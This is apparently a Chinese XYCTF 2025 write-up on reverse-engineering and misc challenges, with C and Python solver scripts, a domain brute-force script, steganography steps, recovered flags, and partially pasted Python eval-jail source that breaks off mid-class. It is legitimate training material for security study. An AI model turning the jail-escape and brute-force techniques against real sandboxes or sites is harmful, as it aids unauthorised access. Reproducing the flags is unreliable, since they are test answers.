输入改变一个字符后会影响八位密文,应该是八字节一组的加密,tea 也有可能 有固定的单字节加密逻辑 里面有一部分混淆,不用看,可以尝试对输入下读入断点看逻辑

逻辑应该在 sub_403935 里面的 sub_404F90

下断点一直跟踪到这个地方发现 rsi 赋值给 rdi(两次赋值,一次 16 个),下一步是回溯看 rsi 的值哪来的

rsi 不是你输入的 flag ?

rsi 是加密后的数据

没事,一个东西

啊我草这题怎么这么坏

dragon

bc 文件,需要先配一下 clang 编译器

这里的输入校验,逻辑只有位运算

位运算这玩意好像逆不出来,它是相邻两个两个字节异或,于是直接爆破,v5 要每次循环要重置。由于返回的时候是取反,所以直接手动把密文异或 0xFFFFFFFFFFFFFFFF 再爆破:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>
long long int data[]={0x239c1cb1be6084b8,0xfce1072b184d4039,0xed29d0439da02761,0x7c17491e33a8aa17,0x3844e14d5499a33,0x6c7d35e4d59d2694,0x4e00075f898c3c78,0xf257e9d8c771fa1e,0x610e19e5172f5548,0x6d87c02d180d9eba,0x9c36835e0a9019f4,0x642c574fbc48c554};

int main(){
   long long int v5;
   int i,m,n;
for(i=0;i<12;i++){
for(m=0;m<256;m++){
    for(n=0;n<256;n++){
        v5 = 0xFFFFFFFFFFFFFFFF;
        v5 ^= (unsigned __int64)(unsigned __int8)(m) << 56;// 高位取反
        for (int j = 0; j < 8; ++j )
        {
            if ( v5 >= 0 )
            v5 *= 2;
            else
            v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;
        }
        v5 ^= (unsigned __int64)(unsigned __int8)(n) << 56;// 高位取反
        for (int j = 0; j < 8; ++j )
        {
            if ( v5 >= 0 )
            v5 *= 2;
            else
            v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;
        }
        if(v5==data[i])
        printf("%c%c",m,n);
    }
}
}
}

flag{LLVM_1s_Fun_Ri9h7?}

Moon

ida 里可以看到这个 pyd 文件要用 Python3.11.x 导入:

导入后 help 查看模块信息,发现一个验证函数一个加密函数两个值 SEED 和 TARGET_HEX,加密看名字是异或,尝试再调用一次解密,结果真出来了:

flag{but_y0u_l00k3d_up_@t_th3_mOOn}

ezobf

32 位长度,去混淆以后大概是这样

中间有三处反调试,汇编为 call rax 的地方

这个应该还是混淆过的,要在去一下

0x2C, 0x11, 0x82, 0xCC, 0xDF, 0x91

lake

动态加载

这里复制了输入

第一部分是 switch 修改 flag

密文

第二段,前一个的低五位和后一个的高三位:

该死,差一点点

赛后:脚本差两行补上了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
data=[  0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B, 
  0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31, 
  0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22, 
  0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
opcode=[0x02, 0x02, 0x0C, 0x01, 0x1A, 0x55, 0x01, 0x23, 0x0C, 0x02, 0x0E, 0x09, 0x01, 0x1B, 
0x06, 0x08, 0x06, 0x05, 0x08, 0x01, 0x05, 0x02, 0x1B, 0x0E, 0x02, 0x19, 0x03, 0x02, 0x1A, 
0x04, 0x08, 0x04, 0x08, 0x01, 0x03, 0x0C, 0x02, 0x0C, 0x0A, 0x01, 0x25, 0x02, 0x01, 0x20, 
0x02, 0x01, 0x09, 0x0C, 0x08, 0x1A, 0x05, 0x02, 0x04, 0x0D, 0x08, 0x08, 0x0F, 0x02, 0x0A, 
0x0E, 0x01, 0x10, 0x07, 0x01, 0x0C, 0x07, 0x08, 0x22, 0x08, 0x08, 0x15, 0x0A, 0x01, 
0x27, 0x7E, 0x02, 0x07, 0x02, 0x08, 0x0F, 0x03, 0x08, 0x0A, 0x0A, 0x01, 0x22, 0x0B, 
0x02, 0x12, 0x08, 0x02, 0x19, 0x09, 0x08, 0x0E, 0x06, 0x08, 0x00, 0x05, 0x01, 0x0A, 0x08, 
0x08, 0x1B, 0x07, 0x08, 0x0D, 0x06, 0x08, 0x0D, 0x04, 0x08, 0x17, 0x0C, 0x08, 0x22, 
0x0E, 0x02, 0x12, 0x34, 0x01, 0x26, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00]
flag=[0]*48
for i in range(0,40,4):
  flag[i]=((data[i+2]<<5)|(data[i+3]>>3))&0xff
  flag[i+1]=((data[i+3]<<5)|(data[i]>>3))&0xff
  flag[i+2]=((data[i]<<5)|(data[i+1]>>3))&0xff
  flag[i+3]=((data[i+1]<<5)|(data[i+2]>>3))&0xff
  
for i in range(0,123,3):
  aa=opcode[i]
  bb=opcode[i+1]
  cc=opcode[i+2]
  # print(aa,end=',') 2,1,1,2,1,8,8,2,2,2,8,1,2,1,1,1,8,2,8,2,1,1,8,8,1,2,8,8,1,2,2,8,8,1,8,8,8,8,8,2,1
  if bb>=1:
    if aa==1:
      flag[bb]-=cc
    elif aa==2:
      flag[bb]+=cc
    elif aa==3:
      flag[bb]//=cc
    elif aa==4:
      flag[bb]*=cc
    elif aa==8:
      flag[bb]^=cc
for i in range(48):
  print(chr(flag[i]),end='')

flag{L3@rn-ng_1n_0ld_sch00b_@nd_g3x_j0y}

Misc

XGCTF

题目任务是找到 dragonkeep 的博客。

首先,在“CTFshow”中找到 XGCTF,通过搜寻,发现 LamentXU 师傅出的题:

接下来,已知这道题是一道原题,我们需要找到原来的题目,借助 AI 神力:

我们得知这道题是 2024 年 CISCN 的原题。

接下来就是找到 dragonkeep 的博客了,他的域名是 dragonkeep 加上一个字母,后缀未知,直接采取脚本爆破,遍历所有的可能性域名,进行访问,返回访问成功的域名(代表该网站存在。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import time
from tqdm import tqdm

# 原始域名
base_domain = "dragonkeep"

# 可能的字母(a-z)
letters = "abcdefghijklmnopqrstuvwxyz"

# 可能的域名后缀
suffixes = [".com", ".net", ".org", ".cn", ".io", ".top", ".xyz", ".app", ".info"]

# 生成所有可能的域名组合
def generate_domains(base):
    domains = []
    for i in range(len(base) + 1):  # 插入位置
        for letter in letters:      # 插入的字母
            new_domain = base[:i] + letter + base[i:]
            domains.append(new_domain)
    return domains

# 检查域名是否可以访问
def check_domain(domain, suffix):
    full_domain = f"{domain}{suffix}"
    try:
        response = requests.head(f"http://{full_domain}", allow_redirects=True, timeout=5)
        if response.status_code == 200:
            return full_domain
    except:
        pass
    return None

# 主函数
def main():
    domains = generate_domains(base_domain)
    valid_domains = []

    # 遍历所有域名和后缀
    total_checks = len(domains) * len(suffixes)
    with tqdm(total=total_checks, desc="Checking domains") as pbar:
        for domain in domains:
            for suffix in suffixes:
                result = check_domain(domain, suffix)
                if result:
                    valid_domains.append(result)
                    print(f"\nFound valid domain: {result}")
                pbar.update(1)
                time.sleep(0.1)  # 避免请求过于频繁

    # 保存结果
    with open("valid_domains.txt", "w") as f:
        for domain in valid_domains:
            f.write(f"{domain}\n")

    print(f"\nFound {len(valid_domains)} valid domains. Results saved to valid_domains.txt")

if __name__ == "__main__":
    main()

虽然跑的时间有点长,好在是出来了:

访问 dragonkeeep.top,可以发现这就是 dragonkeep 的博客。

紧接着直接找到 CISCIN 题目的这一篇文章:

然而阅读一遍并没有发现 flag

最后打开 F12,在网页的前端代码中搜寻到 flag:

进行解 base64,得到 flag:

flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

签个到吧

首先得到文本:

很显然这是 brainfuck 语言(题目也有提示,最小的,图灵完备。。。)

有必要补充一下 brainfuck 语法:

Brainfuck 编程语言 由 8 个命令组成:

我们可以知道,[]为一个循环体,

我们查看第一行部分:

+++++++++++++++++[<++++++>-+-+-+-]>[-]>++++++++++++[<+++++++++>-+-+-+-]

首先 > 表示指针位右移,

例如 0 0 0 0 0 0 0 0 → 0 0 0 0 0 0 0 0

然后 + 使得指针当前位加 1,有几个代表加了几次,那么在[之前,我们得到的结果是:

0 17 0 0 0 0 0 0

紧接着便进入循环体了,进入的第一步 < 将指针位左移到了第一位:

然后开始增加,增加 6 次后右移动一次。

因为后面没有位的移动了,之后的“-+-+-+-”实际上等价于“-”,实际上是为了减去第二位的数字,因为在之前,第二位是用来计数循环的次数的,当要继续输出时,要删除这一位。

那么,当循环结束后,可以得到:

这是第一个循环结束后的值,第一位是 f,也就是 flag 开头的第一个字母。

那么,为什么我们使用在线工具无法解析呢?

原因其一是因为没有输出,当循环体结束后,此时的指针指向的是第二位,但是这个位置是 0,因此要输出 f,需要将指针移动到第一位上,使用“<”再使用“.”进行输出。

接下里就好办了。。。

之后,进行了一个很小的循环体:<[-]>

它的作用是将指针移动到刚才的第一位上,并且清除数据。也就是说,当 <[-]> 运行完后,我们此时的数据又变回了:

0 0 0 0 0 0 0 0

既然如此,我们需要做的就是在这个数据被清除之前让它输出来:

在每个 <[-]> 循环体之前加上 <.试试:

然而是乱码。。

显然这里犯了一个错误,代码是顺序进行的,我们在其中进行了移动位置输出后,必须把原来的位置移动回去,这才能保证之后的代码不受影响。因此,正确的应该是:<.>

我们在每个“<[-]>”之前加上 <.> 即可:

处理后的文本:

1
>+++++++++++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++[<+++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++[<++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++++++[<+++++++>-+-+-+-]<.><[-]>++++++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++[<++++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>+++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]<.>

在线网站解密得到 flag:

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

MADer 也要当 CTFer | 未解出 |

题目是一个 mkv 后缀的视频,奇怪的地方在显示时长有 5 小时多,但真正能播放的有效时长只有 12 秒。

需要分析常见的 mkv 隐写:

这里我使用了工具 MKVToolNix 分析了该 mkv 文件:

这是一段分析该文件的 log,只需要知道总结:

  • 该 MKV 文件包含一个视频轨道(H.264 编码)、两个音频轨道(AAC 和 MP3 编码)以及一个字幕轨道(ASS 格式)。
  • 视频分辨率为 1920x1080,时长约为 5 小时 50 分钟。
  • 字幕使用了 ASS 格式,包含详细的样式定义。
  • 文件的编码工具为 mkvmerge v9.5.0,创建时间为 2025 年 3 月 3 日。

那么我们就可以用到该文件夹的 mkvinfo.exe 来分析得到:

1
mkvinfo.exe 文件地址

那么之后我们便可以用到:

1
mkvextract.exe tracks "文件路径" 轨道ID:输出文件名

如下:

提取得到三个文件 video,music1,music2

1.video 文件就是那可播放的 12 秒动画

2.music1 则是一段音频但是听不到声音:

3.music2 比较特别,在记事本打开有ASS(Advanced SubStation Alpha)格式 的字幕数据

思路:可能需要从字幕数据中找(也有可能上面的都不是对的方向)困了

曼波曼波曼波

得到一个 flag.png 和 smn.txt

flag.png 扫码得到的是 fake flag

而 smn.txt 明显的特征,需要我们反转文件内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def reverse_file_content(input_file_path, output_file_path):
    """
    将文本文件中的内容反转并保存到另一个文件中
    :param input_file_path: 输入文件路径
    :param output_file_path: 输出文件路径
    """
    try:
        # 打开输入文件并读取内容
        with open(input_file_path, 'r', encoding='utf-8') as file:
            content = file.read()

        # 反转内容
        reversed_content = content[::-1]

        # 将反转后的内容写入输出文件
        with open(output_file_path, 'w', encoding='utf-8') as file:
            file.write(reversed_content)

        print(f"文件内容已反转并保存到 {output_file_path}")
    except FileNotFoundError:
        print(f"错误:文件 {input_file_path} 未找到")
    except Exception as e:
        print(f"发生错误:{e}")


# 示例用法
input_file = ("smn.txt")  # 输入文件名
output_file = "reversed_example.txt"  # 输出文件名
reverse_file_content(input_file, output_file)

反转后明显符合了 base64 编码,同时字符这么多,首先想到的是转换成图片

将得到的 base64 转换成图片得到:

随波逐流发现图片文件中隐藏 zip 包,foremost 出来得到 zip 并解压,得到 manbo 文件夹:

而 secret.txt 提到解压密码:

是 XYCTF2025,解压成功得到 xixi 文件夹,里面有着和 manbo 文件夹 easy.png 一样内容的图片 EASY.png

猜测是盲水印,但是这里要注意使用 python3 的

得到图片:

即 XYCTF{easy_yin_xie_dfbfuj877}

会飞的雷克萨斯

由抖音大数据和百度地图可知

四川省内江市资中县春岚北路

但是题目需要我们找出定位爆炸点的具体位置

flag{四川省内江市资中县春岚北路中铁城市中心内}

Greedymen

查看题目,共有 3 关卡,内容差不多。

我们需要在 1 到 50/100/200 的数组中不断选择数字,一旦我们选择了某个数字,那么该数字的真因数会全部被对方选择。

我们需要在指定的轮数内通过合理的选择,最终让我们的分数大于对方。

审视问题规则:

  1. 玩家选择一个数字,获得该数字的分数,对手则获得该数字所有未被选过的因数的分数。
  2. 一旦数字被任何一方选中,其他玩家不能再选。
  3. 每次选择后,计数器减 1,当计数器为 0 或无法选择时,游戏结束,剩余数字归对手。

为了赢得游戏,我们需要制定一个贪心策略,每次选择当前未被选过的数中,净收益(自身得分减去对手可能获得的因数得分)最大的数。这样能确保每一步都最大化当前的优势。

代码逻辑:

  1. 预计算真因数:对于每个数,预先计算其真因数(除自身外的因数),方便后续快速查找。
  2. 贪心选择:遍历所有未被选过的数,计算每个数的净收益(当前数减去对手将获得的真因数和),选择净收益最大的数。
  3. 更新集合:每次选择后更新玩家和对手的集合,确保因数不会被重复计算。
  4. 处理剩余数:游戏结束时,未被选择的数归对手所有。

同时,如果玩家选择了数字 6,对手会得到因数 1、2、3。这些因数必须被加入已选集合,否则之后玩家可能再次选择这些因数,但根据规则,任何被选过的数字都不能再被选,不论是被谁选的。

  1. 使用一个集合 chosen 来记录所有已被选中的数字,包括玩家和对手的。
  2. 每次玩家选择一个数字 num 后,将其加入 chosen,并检查其所有真因数,将未被选的因数也加入 chosen。
  3. 在计算每个候选数字的净收益时,需要排除那些已经被选中的因数,只计算未被选的真因数的和。
  4. 确保每次选择后,计数器减 1,直到计数器为 0 或没有可选数字为止。

这样处理可以确保一旦数字被任何一方选中,就不会再被重复选择,符合题目规则。

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
def get_true_factors(n):
    """获取真因数(不包括自身)"""
    if n == 1:
        return []
    factors = set()
    for i in range(1, int(n**0.5) + 1):
        if n % i == 0:
            if i != n:
                factors.add(i)
            j = n // i
            if j != n and j != i:
                factors.add(j)
    return sorted(factors)

def solve_game(level):
    if level == 1:
        max_num = 50
        initial_counter = 19
    elif level == 2:
        max_num = 100
        initial_counter = 37
    elif level == 3:
        max_num = 200
        initial_counter = 76
    else:
        return []
    
    # 预计算每个数的真因数
    true_factors = {n: get_true_factors(n) for n in range(1, max_num+1)}
    
    chosen = set()  # 所有已被选中的数字(包括对手的因数)
    moves = []      # 玩家的选择顺序
    counter = initial_counter
    
    while counter > 0:
        best_net = -float('inf')
        best_num = None
        
        # 从高到低遍历,优先选择大数字(净收益相同时)
        for num in range(max_num, 0, -1):
            if num in chosen:
                continue
            
            # 计算净收益:num的值减去对手能获得的未选因数之和
            sum_opp = 0
            for f in true_factors[num]:
                if f not in chosen:
                    sum_opp += f
            
            net = num - sum_opp
            
            # 必须满足:该数字还有至少一个因数未被选(或本身没有因数)
            if len(true_factors[num]) == 0 or sum_opp > 0:
                if net > best_net or (net == best_net and num > best_num):
                    best_net = net
                    best_num = num
        
        if best_num is None:  # 没有合法选择,提前结束
            break
        
        # 执行选择
        moves.append(best_num)
        chosen.add(best_num)
        # 将对手获得的因数标记为已选
        for f in true_factors[best_num]:
            if f not in chosen:
                chosen.add(f)
        
        counter -= 1
    
    return moves

# 测试 Level 1 (修改这里的数字选择level)
print(solve_game(1)) 

最终我们得到以下三组解:

level1:

level2:

level3:

依次输入后得到 flag:

flag{Greed, is……key of the life.}

sins | 未解出 |

附件下载:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
python源码
from secret import flag

print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')


def i_pow(n):
    if n % 4 == 0: # as the 40 days of flood
        return '1'
    elif n % 4 == 1: # as the 1 true God
        return 'i'
    elif n % 4 == 2: # as the 2 tablets of stone
        return '-1'
    elif n % 4 == 3: # as the 3 days in the tomb
        return '-i'

inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"
R = eval(f"lambda i: {inp}", {}, {})
assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))
print(flag)
  • 程序提示用户输入一个表达式,用于“洗净罪恶”。
  • 第一个 assert 语句确保用户输入的表达式只包含允许的字符(数字、运算符、括号等)。如果输入包含非法字符,程序会抛出异常并提示“invalid char”。
  • 第二个 assert 语句确保输入的长度小于 16 个字符。如果输入过长,程序会抛出异常并提示“too long”。

允许的字符:

1
i0123456789+-*%/^=<>~&|:()[]'

用户输入的表达式需要与 i_pow 函数的结果一致

  • 这个函数用于计算虚数单位 i 的幂。根据数学规则,i 的幂会周期性地循环:

    • i0=1
    • i1=i
    • i2=−1
    • i3=−i
    • 然后每 4 次循环重复一次。
  • 函数通过取模运算 n % 4 来判断 i 的幂,并返回相应的字符串。

那么我们需要找到符合要求的表达式:

Lament Jail | 未解出 |

是一个 pyjail 类型的题目。

源代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
# -*- coding:utf-8 -*-
# @FileName  :Lament_Jail.py
# @Time      :2025/3/22 12:37:43
# @Author    :LamentXU
from socket import *
from os import remove
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from zlib import compress, decompress
from uuid import uuid4
from json import dumps
from subprocess import Popen, PIPE                

# 注解:导入了必要的模块,包括socket用于网络通信,os用于文件操作,Crypto用于加密,zlib用于数据压缩和解压缩,uuid用于生成唯一标识符,json用于数据序列化,subprocess用于执行子进程。

'''
Definate all the errors
'''
class MessageLengthError(Exception):
    def __init__(self, message) -> None:
        self.message = message

class PasswordError(Exception):
    def __init__(self, message) -> None:
        self.message = message

# 定义了两个自定义异常类,MessageLengthError用于处理消息长度错误,PasswordError用于处理密码错误。

class SimpleTCP():  # 定义了一个名为SimpleTCP的类,用于处理TCP通信。
    '''
    The main class when using TCP
    '''

    def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM
                 , proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None:
        '''
        is_encrypted: use encrypted connection, only for server
        AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server
        password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed
            if password is set in server, every time a client connect, the client must send the same password back to the server to accept.
            if password is set in client, every time you connect to the server, the password will be sent to the server to verify.
            if password is None, no password will be used.
        self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE
        MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle

        is_encrypted:使用加密连接,仅适用于服务器端。
        AES_key:使用固定的AES密钥,如果为None则随机生成,必须是16字节,仅适用于服务器端。
        password:从客户端获取一个固定的密码(必须小于100字节),如果密码错误,连接将被关闭。
        如果在服务器端设置了密码,每次客户端连接时,客户端必须将相同的密码发送回服务器以被接受。
        如果在客户端设置了密码,每次连接到服务器时,密码将被发送到服务器进行验证。
        如果密码为None,则不使用密码。
        self.Default_message_len:如果处于加密模式,该值必须是self.BLOCK_SIZE的倍数。
        注意:确保服务器和客户端的DEFAULT_MESSAGE_LEN设置相同,否则可能会出现问题。
        '''
        
        self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES
        # the block size must be a mutiple of 8
        self.default_encoder = 'utf8'  # the default encoder used in send and recv when the message is not bytes
        if is_encrypted:
            if AES_key == None:
                self.key = get_random_bytes(16)  # generate 16 bytes AES code
            else:
                self.key = AES_key #TODO check the input 
            self.cipher_aes = AES.new(self.key, AES.MODE_ECB)
        else:
            self.key, self.cipher_aes = None, None
        self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes
        if password == None:
            self.password = None
        else:
            self.password = self.turn_to_bytes(password)
            if len(password) > 100:
                raise ValueError('The password is too long, it must be smaller than 100 bytes')
        self.s = socket(family, type, proto, fileno)  # main socket
    def accept(self) -> tuple:
        '''
        Accept with information exchange and key exchange, return the address of the client
        if the password from client is wrong or not set, raise PasswordError
        '''
        self.s, address = self.s.accept()
        if self.key == None:
            is_encrypted = False
        else:
            is_encrypted = True
        if self.password == None:
            has_password = False
        else:
            has_password = True
        info_dict = {
            'is_encrypted' : is_encrypted,
            'has_password' : has_password}
        info_dict = dumps(info_dict).encode(encoding=self.default_encoder)
        self.s.send(self.turn_to_bytes(len(info_dict)))
        self.s.send(info_dict)
        if has_password:
            password_length = self.unpadding_packets(self.s.recv(3), -1)
            if not password_length:
                self.s.close()
                raise PasswordError(f'The client {address} does not send the password, the connection will be closed')
            recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes
            if recv_password != self.password or recv_password[0] == b'0':
                self.s.send(b'0')
                self.s.close()
                raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting')
            else:
                self.s.send(b'1')
        if is_encrypted:
            public_key = self.s.recv(450)
            rsa_public_key = RSA.import_key(public_key)
            cipher_rsa = PKCS1_OAEP.new(rsa_public_key)
            encrypted_aes_key = cipher_rsa.encrypt(self.key)
            self.s.send(encrypted_aes_key)
        # TODO
        return address
    def turn_to_bytes(self, message) -> bytes:
        '''
        Turn str, int, etc. to bytes using {self.default_encoder}
        '''
        type_of_message = type(message)
        if type_of_message == str:
            try:
                message = message.encode(encoding=self.default_encoder)
            except Exception as e:
                raise TypeError(
                    'Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e))
        elif type_of_message == bytes:
            pass
        else:
            try:
                message = str(message).encode(encoding=self.default_encoder)
            except:
                raise TypeError(
                    'Unexpected type "{}" of {}'.format(type_of_message, message))
        return message
    def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:
        '''
        Delete the blank bytes at the back of the message
        pad_num : number of the blank bytes
        pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok)
        '''
        if pad_num == -1:
            data = data.rstrip()
        else:
            while pad_num > 0 and data[-1:] == b' ':
                data = data[:-1]
                pad_num -= 1
        return data
    def padding_packets(self, message: bytes, target_length: int = None) -> tuple:
        '''
        Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode
        The packet must be smaller then {target_length}
        target_length = None : use self.default_message_len
        '''
        message = self.turn_to_bytes(message)
        if target_length == None:
            target_length = self.default_message_len
        if len(message) > target_length:
            raise MessageLengthError(
                'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length))
        pad_num = target_length-len(message)
        message += b' ' * pad_num
        return (message, pad_num)
    def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes:
        '''
        Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
        target_length = None : use self.BLOCK_SIZE
        '''
        padding_length = block_size - (len(data) % block_size)
        if padding_length == 0:
            padding_length = block_size
        padding = bytes([padding_length]) * padding_length
        padded_data = data + padding
        return padded_data
    def send_large(self, message) -> None:
        '''
        Send message with the socket
        can accept bytes, str, int, etc.
        every non-bytes message will be encoded with self.default_encoder
        Every packet is forced to be filled to {self.default_message_len} bytes
        '''
        message = self.turn_to_bytes(message)
        message = compress(message)
        message_list = [message[i:i + self.default_message_len]
                        for i in range(0, len(message), self.default_message_len)]
        message_list_len = len(message_list)
        self._send(self.padding_packets(
            self.turn_to_bytes(message_list_len))[0])
        message_index = 0
        for message in message_list:
            message_padded = self.padding_packets(message)
            message = message_padded[0]
            self._send(message)
            message_index += 1
            if message_index == message_list_len:
                pad_num = message_padded[1]
                self._send(self.padding_packets(
                    self.turn_to_bytes(str(pad_num)))[0])

    def send(self, message) -> None:
        '''
        Send a message with the socket
        can accept bytes, str, int, etc.
        The data should not be larger than 9999 bytes
        It can be used at any time 
        Use self.send_large and recv_large if you want to send a big message
        '''
        message = self.turn_to_bytes(message)
        try:
            message_len = self.padding_packets(
                self.turn_to_bytes(len(message)), target_length=4)[0]
        except MessageLengthError:
            raise MessageLengthError(
                'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message))))
        self._send(message_len)
        self._send(message)

    def _send(self, message: bytes) -> None:
        '''
        The basic method to encrypt and send data 
        MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE
        '''
        if self.cipher_aes != None:
            output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE))
            # plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE)
        else:
            output_message = message
        self.s.send(output_message)  # The TCP mode

